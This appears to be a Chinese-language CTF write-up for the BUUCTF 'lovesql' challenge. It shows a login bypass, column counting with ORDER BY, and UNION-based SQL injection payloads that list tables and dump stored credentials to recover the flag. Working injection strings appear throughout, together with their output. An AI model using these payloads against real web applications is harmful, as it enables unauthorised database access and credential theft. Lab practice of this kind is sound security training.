BUUCTF lovesql 1

我们使用万能密码登录进去

会获取到用户名和密码

Hello admin！

Your password is '0ed76caed1e7afe0bb1eaa590fa465ef'

我们使用一下order by，发现2，3没问题，当我们输入4列的时候，4列是不存在的

也就是说一共3列，我们使用一下联合查询

这里不能使用admin，这会覆盖掉后面的union，其他什么都行

我们登录进去

发现在2和3的地方有回显

我们把2改为database（）

我们发现当前数据库时geek

ad' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#

这样的话我们可以查到有两个tables，一个是geekuser 和I0ve1ysq1'

接下来我们就对这两个分别查一下

ad' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#

Hello 2！

Your password is 'id,username,password'

我们查下一个

ad' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ce1ysql1'#

我们查到的字段是一样的

ad' union select 1,2,group_concat(id,username,password) from geek.geekuser#

我们可以根据格式看到id username和password

我们试一下第二个

ad' union select 1,2,group_concat(id,username,password) from geek.l0ve1ysq1#

Hello 2！

Your password is '1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{10e9d109-682f-4474-9759-8932b350b2af}'

我们可以查询到flag

我们使用sqlmap跑一下也可以，这个等学到后更新